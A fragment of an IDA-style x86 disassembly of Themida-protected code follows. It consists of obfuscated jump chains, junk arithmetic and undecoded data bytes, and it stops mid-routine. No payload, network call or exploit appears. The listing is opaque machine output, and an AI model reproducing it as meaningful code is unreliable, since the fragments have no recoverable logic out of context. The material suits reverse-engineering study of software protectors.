loc_56FBCC:				; CODE XREF: Themida_:0056FF30j
		add	cl, 59h
		sub	bl, 0D8h
		sub	bl, cl
		add	bl, 0D8h
		pop	ecx
		jmp	loc_567BF7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF32C2h
; ---------------------------------------------------------------------------


loc_56FBE8:				; CODE XREF: Themida_:0056797Bj
		sub	eax, 5E574D5Eh
		add	eax, ecx
		add	eax, 5E574D5Eh
		pop	ecx
		push	2F1Fh
		mov	[esp], esi
		mov	esi, 7BED75CBh
		not	esi
		push	ebp
		mov	ebp, 2E553D85h
		or	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55F66E
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF95DBE9h, 0A4FE05FFh, 0C6294ADAh, 0B27FE958h, 4968FFFFh
		dd 89000068h, 68532434h, 33E429CAh, 4DA6E95Bh, 0E95DFFFFh
		dd 0E7Fh, 0DD40E954h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FC4A:				; CODE XREF: Themida_:0056BCD2j
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 548F3678h
		push	esi
		mov	esi, 594E57A9h
		and	esi, 36BD6A46h
		sub	esi, 100C4201h
		add	ecx, 32071698h
		add	ecx, 72D902A3h
		sub	ecx, esi
		sub	ecx, 72D902A3h
		sub	ecx, 32071698h
		pop	esi
		shl	ecx, 3
		jmp	loc_56AAAB
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 74FF5200h, 8F5A0424h, 248B2404h, 0D5A5E924h, 0DD01FFFFh
		dd 5DE9015Bh, 8B240C87h, 0CFE2424h, 5CE99C24h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FCC7:				; CODE XREF: Themida_:0055F3C7j
		add	esp, 4
		shr	eax, 18h
		jmp	loc_56CEEE
; ---------------------------------------------------------------------------


loc_56FCD2:				; CODE XREF: Themida_:0056D2B2j
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5602DD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0D47CE900h, 8966FFFFh,	0E9502414h, 0FFFEE4C5h
		dd 0D3A3E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD02:				; CODE XREF: Themida_:00567A5Fj
		mov	edx, edi
		pop	edi
		push	edi
		push	ebp
		mov	ebp, 23861679h
		push	ebp
		add	dword ptr [esp], 1325D30h
		pop	edi
		sub	edi, 1325D30h
		pop	ebp
		jmp	loc_5646E3
; ---------------------------------------------------------------------------
		db 9, 0CBh, 8Bh
		dd 0C481240Ch, 4, 2826F381h, 0D931692Ch, 7C3815Bh, 0E95C7236h
		dd 0FFFFC416h, 57241429h, 0CC1E98BFh, 247C016Bh, 243C8B04h
		dd 0D609E956h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FD56:				; CODE XREF: Themida_:0056B6EDj
		mov	ebx, 7E0C5EE9h
		dec	ebx
		jmp	loc_5692BD
; ---------------------------------------------------------------------------
		db 5Fh,	0F7h, 0D0h
		dd 17710D40h, 0E5E94F16h, 89FFFFA0h, 4C681E6h, 0E9000000h
		dd 0FFFECDAEh
; ---------------------------------------------------------------------------


loc_56FD7C:				; CODE XREF: Themida_:00562E01j
		or	edx, esi
		pop	esi
		xor	edx, 53BA46BBh
		xor	edx, 0F486648Fh
		jmp	loc_56EB2C
; ---------------------------------------------------------------------------


loc_56FD90:				; CODE XREF: Themida_:0056F71Dj
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		jmp	loc_55C68E
; ---------------------------------------------------------------------------
a_h		db '_h:',0
		align 2
		dw 3489h
		dd 815E5424h, 4C6h, 0ABB95100h,	0E91AD07Eh, 0DFCh
; ---------------------------------------------------------------------------


loc_56FDBC:				; CODE XREF: Themida_:0055F3EDj
		add	ecx, edx
		push	edi
		mov	edi, esi
		mov	[ecx], edi
		pop	edi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 12A83498h
		neg	eax
		jmp	loc_57042D
; ---------------------------------------------------------------------------


loc_56FDF3:				; CODE XREF: Themida_:0056CC07j
		pop	ebp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_55EA26
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 0DC88503Ah, 0E958E588h, 0FFFFCDF8h
; ---------------------------------------------------------------------------


loc_56FE14:				; CODE XREF: Themida_:0056A345j
		imul	ecx
		push	1D9Eh
		mov	[esp], edx
		push	6BC0h
		push	2F12h
		jmp	loc_56D7D9
; ---------------------------------------------------------------------------


loc_56FE2D:				; CODE XREF: Themida_:0056F46Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_565192
; ---------------------------------------------------------------------------


loc_56FE3B:				; CODE XREF: Themida_:00562CAAj
		pop	ebx
		jmp	loc_56A942
; ---------------------------------------------------------------------------
		db 93h,	0F7h, 0D3h
		dd 0FF1C5EE9h, 8BF709FFh, 0C4812434h, 4, 5702E7C1h, 0E9240CFFh
		dd 0FFFED51Fh, 7635BF57h, 814F71A5h, 0EC6280E7h, 0F6CF8175h
		dd 53512822h, 0FF6A38E9h, 6B26B8FFh, 30E9271Fh,	89FFFF54h
		dd 2CE92404h, 0BDFFFF4Eh, 7000F4Bh, 2C8BE921h, 58545024h
		dd 0FFBFA2E9h, 5E8C0FFh, 0C3E9CE04h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEA7:				; CODE XREF: Themida_:00560DA9j
		add	esi, 27A413A6h
		add	esi, 55BF20AFh
		shl	esi, 4
		shr	esi, 1
		push	edi
		jmp	loc_55E918
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 5E5C104h, 2231C581h,	0DDF76A9Bh, 755BF581h, 0E83125B3h
		dd 0E3E9505Dh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEDB:				; CODE XREF: Themida_:0056BA60j
		dec	eax
		push	esi
		push	eax
		mov	eax, 944F63h
		mov	esi, eax
		pop	eax
		xor	eax, esi
		jmp	loc_565654
; ---------------------------------------------------------------------------


loc_56FEED:				; CODE XREF: Themida_:00565132j
		sub	edi, edx
		pop	edx
		and	eax, edi
		jmp	loc_56F598
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	0FF525FE9h, 87C781FFh, 15D1724h
		dd 87EF81F7h, 5E5D1724h, 0FF6EDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FF19:				; CODE XREF: Themida_:00566CF9j
		not	ebx
		jmp	loc_56BDC1
; ---------------------------------------------------------------------------
		dd 2D66F181h, 62E96C0Dh
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF2B:				; CODE XREF: Themida_:0055F723j
		sub	cl, 1Ah
		inc	cl
		jmp	loc_56FBCC
; ---------------------------------------------------------------------------
		db 1, 0F8h, 0E9h
		dd 0FFFF09BCh, 3104C483h, 2893E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF46:				; CODE XREF: Themida_:00562159j
		pop	ebp
		xor	eax, ecx
		pop	ecx
		sub	edi, eax
		jmp	loc_565D6C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 0FF217AE9h, 4E1C1FFh, 0EEFEE981h
		dd 8151FB71h, 7A4A242Ch, 555E0C93h, 0D77661BDh,	42E91Fh
		dd 0E9550000h, 0FFFF43E9h, 0EB805A66h, 0E0EB8048h, 0C380C328h
		dd 16B652E0h, 13EFE9h, 52E58900h, 0E904EC83h, 0FFFF324Ch
		dd 5C240C33h, 0B4240489h, 72B1E7h, 0B65258E1h, 0EEE68023h
		dd 0E942E680h, 0FFFF1BFBh, 2414F755h, 52D5F75Dh, 0FF4643E9h
		dd 4C283FFh, 8B241487h,	90E92424h
		db 0DDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FFDF:				; CODE XREF: Themida_:00569B17j
		mov	[esp], eax
		push	ebp
		push	ebx
		push	offset word_523E6E
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, 237B6381h
		add	ebx, 248FF939h
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_569F66
; ---------------------------------------------------------------------------


loc_570005:				; CODE XREF: Themida_:0056E3D6j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_56616B
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF9282h, 4C781h, 77E90000h, 88FFFFAAh, 0C18859C8h
		dd 7A54E958h, 0C483FFFFh, 4C48104h, 83000000h, 5DE904C3h
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570043:				; CODE XREF: Themida_:005643A2j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_569476
; ---------------------------------------------------------------------------
		dd 0F7FDF905h, 58C101FDh, 4EC81h, 2C890000h, 2BD24h, 2A680000h
		dd 89000005h, 0B1BF243Ch, 83238B14h, 348904ECh,	0BCC8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57007E:				; CODE XREF: Themida_:0056898Bj
		xor	eax, 3300002h
		jmp	loc_5615D1
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 89240C89h,	3DBA52E1h, 8127160Ch, 160C39F2h
		dd 0E9D10127h, 0FFFF2B39h, 295FFE89h, 3DE95BDEh
		db 0ABh, 2 dup(0FFh)
byte_5700AF	db 66h			; DATA XREF: Themida_:0055C064o
		dd 0E9240C8Bh, 7DCh
dword_5700B8	dd 240C8B66h, 6CF768h, 24048900h, 4EC81h, 24890000h, 24048324h
					; DATA XREF: Themida_:0055C198o
		dd 66E95804h, 0BDFFFFC2h, 50D87F09h, 525DE909h,	68097BAh
		dd 0E9D101A7h, 0B69h, 0E56ABEBDh, 18C58152h, 292262A5h
		dd 555B5DE8h, 275B7ABDh, 73BF577Dh, 8140721Dh, 0C22D3CC7h
		dd 5EE7813Ah, 47620549h, 0F7814F47h, 9E9CBDA2h,	15FFD01h
		dd 0BE565DEBh, 76134AD5h, 0C1D6F74Eh, 0D6F705EEh, 4EC81h
		dd 1C890000h, 745FBB24h, 0D6E95A26h, 81FFFF29h,	4ECh, 24248900h
		dd 4240483h, 5EBD5559h,	0E9044E45h, 0FFFFAD1Bh,	0E9241C89h
		dd 0FFFF5AE4h, 134AE949h, 0C4810000h, 4, 8B24048Fh, 6EE92424h
		dd 83FFFF1Ah, 69E904C1h
		db 0D9h, 0FEh, 0FFh
byte_570183	db 0FFh			; DATA XREF: Themida_:0055C21Co
a4XrhD		db '4$XRh,D',0
		dd 24248900h, 5B9768h, 243C8900h, 4BFh,	247C0100h, 243C8B04h
		dd 4C481h, 0CCE90000h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5701AF:				; CODE XREF: Themida_:00561EF3j
		sub	eax, 456B6375h
		add	eax, ecx
		add	eax, 456B6375h
		mov	[eax], dl
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_55C323
; ---------------------------------------------------------------------------
a1P		db '\1Ï',0
		dw 50E9h
		dd 58FFFEC1h, 0FF6EEBE9h, 14F752FFh, 0EBE95A24h
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5701E3:				; CODE XREF: Themida_:0056703Dj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5620E5
; ---------------------------------------------------------------------------
		dw 2868h
		dd 0E93F5001h, 0FFFF3FCAh
; ---------------------------------------------------------------------------


loc_5701F8:				; CODE XREF: Themida_:0055E1BCj
		pop	ecx
		inc	edi
		jmp	loc_560D4B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FEC11EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570205:				; CODE XREF: Themida_:0055F1B0j
		push	ecx
		push	ebp
		mov	ebp, 7C09787Ch
		mov	ecx, ebp
		jmp	loc_56388E
; ---------------------------------------------------------------------------


loc_570213:				; CODE XREF: Themida_:0056905Fj
		not	ebp
		sub	ebp, 9DD4B0EDh
		jmp	loc_563D4B
; ---------------------------------------------------------------------------
		dd 20A3EB81h, 0C3814177h, 849F59D3h, 0FFA53DE9h, 65EB80FFh
		dd 43E068h, 24148900h, 0B35301B6h, 8DEB8043h, 0FF91DDE9h
		dd 4EC81FFh, 89000000h,	4BBF243Ch, 31336E53h, 0BA525FF8h
		dd 71D404C5h, 651BC82Dh, 5D0291Ch, 1C651BC8h, 0FFB1E95Ah
		dd 0C701FFFEh, 4EC8158h, 89000000h, 1FE9240Ch
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570283:				; CODE XREF: Themida_:00562C81j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 62h
		mov	bh, 9Bh
		xor	bh, cl
		pop	ecx
		add	bh, 0E6h
		add	bh, 0FFh
		push	eax
		mov	al, 58h
		push	ax
		not	byte ptr [esp]
		pop	ax
		and	al, 0E8h
		jmp	loc_55FB1B
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 0DF89E904h, 815FFFFEh, 54697CFh, 4EFC11Ch, 0B811C781h
		dd 0FA891C7Ah, 78BF575Fh, 3122652Dh, 98E95FFAh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5702E3:				; CODE XREF: Themida_:0055EDF4j
		mov	esi, 2B0D0368h
		neg	esi
		jmp	loc_566071
; ---------------------------------------------------------------------------


loc_5702EF:				; CODE XREF: Themida_:0056092Aj
		pop	ebx
		add	eax, 49442664h
		jmp	loc_567C5F
; ---------------------------------------------------------------------------


loc_5702FA:				; CODE XREF: Themida_:00564108j
		xor	eax, 5ED4313Ah
		jmp	loc_567974
; ---------------------------------------------------------------------------
		dd 18E9BF57h, 0C3816313h, 23C85889h, 0EB81FB29h, 23C85889h
		dd 0FFFA83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57031D:				; CODE XREF: Themida_:0056096Cj
		pop	ecx
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_564989
; ---------------------------------------------------------------------------
		dw 34FFh
aHc		db '$[hC(',0
		dw 0E900h
		dd 0FFFEE8DCh
; ---------------------------------------------------------------------------


loc_570354:				; CODE XREF: Themida_:00566959j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_56E6A8
; ---------------------------------------------------------------------------


loc_570372:				; CODE XREF: Themida_:0056151Bj
		push	eax
		jmp	loc_56DEAC
; ---------------------------------------------------------------------------
		dd 7E655EBDh, 6E59E930h, 0C15BFFFFh, 0D0F705E0h, 0D32A7905h
		dd 22D60514h, 0C701DE12h, 81F70158h, 650C8EEFh,	0E9535E71h
		dd 0FFFFEDD6h, 5EF70159h, 0FECCB5E9h
		db 0FFh
byte_5703AD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C2C8o
aH8		db '$h8',0
		align 2
		dw 2C89h
		dd 33AAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5703BE:				; CODE XREF: Themida_:0056FB39j
		add	esp, 4
		push	edi
		jmp	loc_55DFEC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5AC381D3h, 8176FE1Bh, 0B0F2B1EBh, 0E9D88971h, 0FFFFFFA6h
		dd 4055Eh, 4870000h, 24248B24h,	4EC81h,	2C890000h, 7AE95424h
		dd 4DFFFF86h, 0FEDF89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703FD:				; CODE XREF: Themida_:0055D05Dj
		mov	[esp], edx
		push	ecx
		sub	dword ptr [esp], 58817997h
		pop	edx
		add	edx, 58817997h
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_5644FF
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF006CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57042D:				; CODE XREF: Themida_:0056FDEEj
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	448D2DCEh
		jmp	loc_55FBF3
; ---------------------------------------------------------------------------


loc_570441:				; CODE XREF: Themida_:0056E235j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	2405h
		mov	[esp], ecx
		push	1D1Ah
		jmp	loc_5603F0
; ---------------------------------------------------------------------------
		dd 55E9F989h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570467:				; CODE XREF: Themida_:00571269j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_55D1CF
; ---------------------------------------------------------------------------
		dd 33243431h, 895C2434h, 4832424h, 0E95A0424h, 0FFFF7AA2h
		dd 327A69BBh, 0B32681Dh, 0C890000h, 0A5BB924h, 0E1815F89h
		dd 29E261CFh, 3FE1C181h, 0C6E958EEh
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5704AF:				; CODE XREF: Themida_:0056619Dj
		push	4A27h
		mov	[esp], edx
		add	dword ptr [esp], 164C0C8Ah
		pop	edi
		sub	edi, 164C0C8Ah
		pop	edx
		jmp	loc_56A4C8
; ---------------------------------------------------------------------------
		db 89h
		dd 0D788241Ch, 0F9885150h, 0FFFB4EE9h, 2474FFFFh, 34E95D04h
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_5704E3:				; CODE XREF: Themida_:0056F47Cj
		add	cl, 0F4h
		sub	cl, 0BDh
		add	al, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_564348
; ---------------------------------------------------------------------------


loc_5704F7:				; CODE XREF: Themida_:00568794j
		push	0FA0h
		mov	[esp], esi
		push	ebx
		jmp	loc_56D1C7
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 57000000h, 0FFBBB3E9h, 47B353FFh, 0E9DBC380h, 0FFFF0ACBh
; ---------------------------------------------------------------------------


loc_57051C:				; CODE XREF: Themida_:0055D03Dj
		pop	eax
		sub	dword ptr [esp+4], 37DC4DC0h
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_561F77
; ---------------------------------------------------------------------------
		dd 33E98158h, 29FB89E7h, 348B59CFh, 4C48124h, 68000000h
		dd 36F6h, 0BA241489h, 2, 5E94BB53h, 0DF29039Dh,	5B2434FFh
		dd 104C483h, 94C781D7h,	5A039D5Eh, 8B243C87h, 0F662424h
		dd 9C2404ABh, 0FF0228E9h, 0E9CE09FFh, 0FFFF16C0h, 89240C89h
		dd 0ABBEE9E1h, 0C181FFFFh, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5644AA
; ---------------------------------------------------------------------------
		dd 0E689565Dh, 4C681h, 0EE830000h, 0CD69E904h, 0E281FFFFh
		dd 74DF01F6h, 1D86F281h, 814A7463h, 0F71CBBF2h,	0B5E95154h
		dd 56FFFF2Dh, 82733CBEh, 3AE68117h, 8146230Dh, 7059DFC6h
		dd 0FFF129FAh, 835E2434h, 0E98104C4h, 4B25CCCh,	0C181D901h
		dd 4B25CCCh, 5B17C181h,	5EE90072h, 1FFFEC8h, 8EC281C2h
		dd 8348E925h, 0C8904ECh, 69996824h, 14890000h, 7F91BA24h
		dd 33E944AAh
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570617:				; CODE XREF: Themida_:0055FA9Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5655CB
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFE14Ch, 0FEBCEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570635:				; CODE XREF: Themida_:0056EFD4j
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_55F1AA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0C3DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570646:				; CODE XREF: Themida_:00563F42j
		mov	ebx, eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 43EB370Fh
		pop	edx
		sub	edx, 43EB370Fh
		push	dword ptr [esp]
		pop	ebx
		push	6745h
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		jmp	loc_564B8B
; ---------------------------------------------------------------------------
		db 53h
		dd 1B490ABBh, 5BD88945h, 158C689h, 0D8015EF0h, 3F22E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57068A:				; CODE XREF: Themida_:00568B4Fj
		xor	ebp, 4324D7A6h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		jmp	loc_57146D
; ---------------------------------------------------------------------------
		dd 0C181E901h, 7FB82BD9h, 48B6C181h, 0C2E9209Fh, 54FFFED1h
		dd 4C7815Fh, 83000000h,	3C8704C7h, 48F5C24h, 0C4835C24h
		dd 0F47FE904h, 422DFFFFh, 0E9113869h, 0FFFFEF85h, 0C60AA42Dh
		dd 2434FF29h, 4C4815Dh,	87000000h, 248B2404h, 0C31BE924h
		db 0FEh, 0FFh
word_5706F2	dw 8B66h		; DATA XREF: Themida_:0055C248o
		dd 0DF682404h, 0E900006Ch, 0FFFFFA5Ch
; ---------------------------------------------------------------------------


loc_570700:				; CODE XREF: Themida_:0056DB72j
		xor	edi, 57B02E0Eh
		push	edi
		pop	esi
		pop	edi
		mov	edi, esi
		jmp	loc_55E434
; ---------------------------------------------------------------------------


loc_570710:				; CODE XREF: Themida_:005610D7j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_566455
; ---------------------------------------------------------------------------
aAiFqK		db 'fQK',0
		dw 66EBh
		dd 9CE95859h, 89FFFF2Bh, 4BE56E2h, 1000000h, 0EA815EF2h
		dd 4, 5C241487h, 81242C89h, 4ECh, 240C8900h, 0FFDF4DE9h
		dd 348157FFh, 0E0353824h, 6BFCE97Bh, 0C331FFFFh, 0FFE922E9h
		dd 9BC281FFh, 8156C848h, 1A26B0E2h, 0A6E28103h,	812AFE15h
		dd 2D337BE2h, 0CC28127h, 2952721Ah, 5CE95AD5h, 81FFFFC5h
		dd 29042444h, 0E94B6656h, 0FFFF11E8h, 8B24048Fh, 4282424h
		dd 7CE99C24h, 0BBFFFEBBh, 209F48B6h, 535BD929h,	21055CBBh
		dd 83EB814Fh, 29CF68D9h, 98B3E9D9h, 0BD55FFFFh,	421D1EF9h
		dd 0FEFE79E9h, 6EDC1FFh, 5E3CF581h, 0CD810DA3h,	1C267BB2h
		dd 0FF9660E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5707E1:				; CODE XREF: Themida_:00566B20j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	46D4h
		jmp	loc_5624AB
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2685324h, 5B000000h,	0FF1164E9h, 3E0C1FFh, 29C4C35h
		dd 0AD80E9A1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57080E:				; CODE XREF: Themida_:0055C957j
		mov	ecx, 75C6462Bh
		dec	ecx
		sub	ecx, 66BFE3CEh
		jmp	loc_568D4A
; ---------------------------------------------------------------------------
		db 66h
		dd 2857B252h, 5A5A66D0h, 0B60FC330h, 148B66C0h,	8B545224h
		dd 89512414h, 4C181E1h,	83000000h, 0C8704C1h, 60685C24h
		dd 8900007Eh, 5251243Ch, 8804F0BAh, 5AD18934h, 5931E8BFh
		dd 59CF01FAh, 0E904EC83h, 0FFFF33C7h, 0D00247BEh, 5EF13105h
		dd 69BE5651h, 2912026Ch, 5E042474h, 0FF9186E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570881:				; CODE XREF: Themida_:005651EAj
		xor	edx, 77B3788Ch
		add	ebp, 705C5FC7h
		sub	ebp, edx
		jmp	loc_55DC4B
; ---------------------------------------------------------------------------
		dd 232068h, 241C8900h, 315168h,	24248900h, 4240481h, 0FF000000h
		dd 835B2434h, 19E904C4h, 0C0FFFEC3h, 0F48004ECh, 54F4808Eh
		dd 0FF55C6E9h, 0FFC283FFh, 28B4EA81h, 0D5894DA1h, 0E924148Bh
		dd 0FFFF22DCh, 0D987CB29h, 0E9D1415Bh, 604568h,	24148900h
		dd 6A7759BAh, 5AD1295Eh, 5359CB89h, 0FF25EEE9h
		db 0FFh
byte_5708F9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C2D4o
		dd 5724048Bh, 0C781E789h, 4, 8704C783h,	565C243Ch, 5257E689h
		dd 0D57ED8BAh, 7EDCBF52h, 0B8E952D5h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570923:				; CODE XREF: Themida_:00569083j
		mov	edx, 50AC3E36h
		sub	edx, 50AC3E32h
		add	edi, edx
		pop	edx
		push	eax
		jmp	loc_56C2B0
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC3h, 4C481h, 91E90000h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570947:				; CODE XREF: Themida_:0055F7AFj
		push	esi
		mov	esi, 0B3531FEh
		dec	esi
		or	esi, 3A2742C2h
		add	esi, 0C4C88C05h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_56EA10
; ---------------------------------------------------------------------------
byte_570971	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055C0D0o
		dd 0D259669Dh, 0E99C2414h, 0FFFFC02Ch, 0E9241489h, 0FFFFBE79h
dword_570988	dd 240C8B66h, 0FF705FE9h, 0D90158FFh, 0FEFE89E9h, 4EC83FFh
					; DATA XREF: Themida_:0055C2C0o
		dd 89241489h, 245789CAh, 8324148Bh, 0C8B04C4h, 0A1CEE924h
		dd 8B5FFFFFh, 0C4812404h, 4, 680FE951h,	1A35FFFFh, 0E937A236h
		dd 0FFFFFF6Bh
; ---------------------------------------------------------------------------


loc_5709CC:				; CODE XREF: Themida_:005637A7j
		sub	edx, 362146AAh
		add	edx, esi
		add	edx, 362146AAh
		sub	edx, 167533AFh
		mov	esi, [esp]
		jmp	loc_56530E
; ---------------------------------------------------------------------------
		dd 1FFCEA81h, 0D6010000h, 4EE835Ah, 8B243487h, 0BE682424h
		dd 8900007Eh, 0E2E92424h, 0BAFFFF63h, 74EB69B2h, 0FEF555E9h
		db 0FFh
byte_570A11	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0055C17Co
		dd 1CF68h, 240C8900h, 0EC81B1B5h, 2, 0FFF2C9E9h, 0C6814EFFh
		dd 899812DBh, 0FFE203E9h, 7D7CBEFFh, 21E946FBh
		db 83h,	2 dup(0FFh)
byte_570A3F	db 66h			; DATA XREF: Themida_:0055C124o
		dd 56240C8Bh, 5268E689h, 0E9000061h, 0FFFFD4FCh, 61242C81h
		dd 5916AE47h, 0FF8562E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570A5D:				; CODE XREF: Themida_:0055D676j
		mov	[esp], esi
		sub	esp, 4
		push	18DAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56C688
; ---------------------------------------------------------------------------


loc_570A7E:				; CODE XREF: Themida_:00571468j
		shr	ecx, 7
		push	edx
		jmp	loc_56D459
; ---------------------------------------------------------------------------
		db 50h
		dd 5404EC83h, 5624048Fh, 4BEh, 24740100h, 5585E04h, 4
		dd 4EC8353h, 0FF7F60E9h, 4C681FFh, 50000000h, 4B8h, 58C60100h
		dd 2474FF56h, 47E95E04h, 83FFFFF0h, 48F04C4h, 24248B24h
		dd 795168h, 243C8900h, 18E95F54h, 56FFFEC4h, 9F3B41BEh
		dd 5E2FE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570AE6:				; CODE XREF: Themida_:0055DED1j
		mov	bx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5674CE
; ---------------------------------------------------------------------------
		db 53h
		dd 0D0662EBBh, 7E3C116h, 3012EB81h, 84E9689Fh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570B0B:				; CODE XREF: Themida_:0055FBEEj
		pop	ebp
		sub	ebx, 3B7352A5h
		add	ebx, eax
		push	ecx
		mov	ecx, 3B7352A5h
		add	ebx, ecx
		jmp	loc_567545
; ---------------------------------------------------------------------------


loc_570B21:				; CODE XREF: Themida_:0056B79Fj
		pop	eax
		add	esp, 4
		sub	edi, 696D4F48h
		add	edi, esi
		add	edi, 696D4F48h
		mov	esi, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_55CF52
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0B7h
		dd 52136462h, 0D3E0ABAh, 0ECB9E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570B52:				; CODE XREF: Themida_:0055DDD8j
		pop	dword ptr [esp]
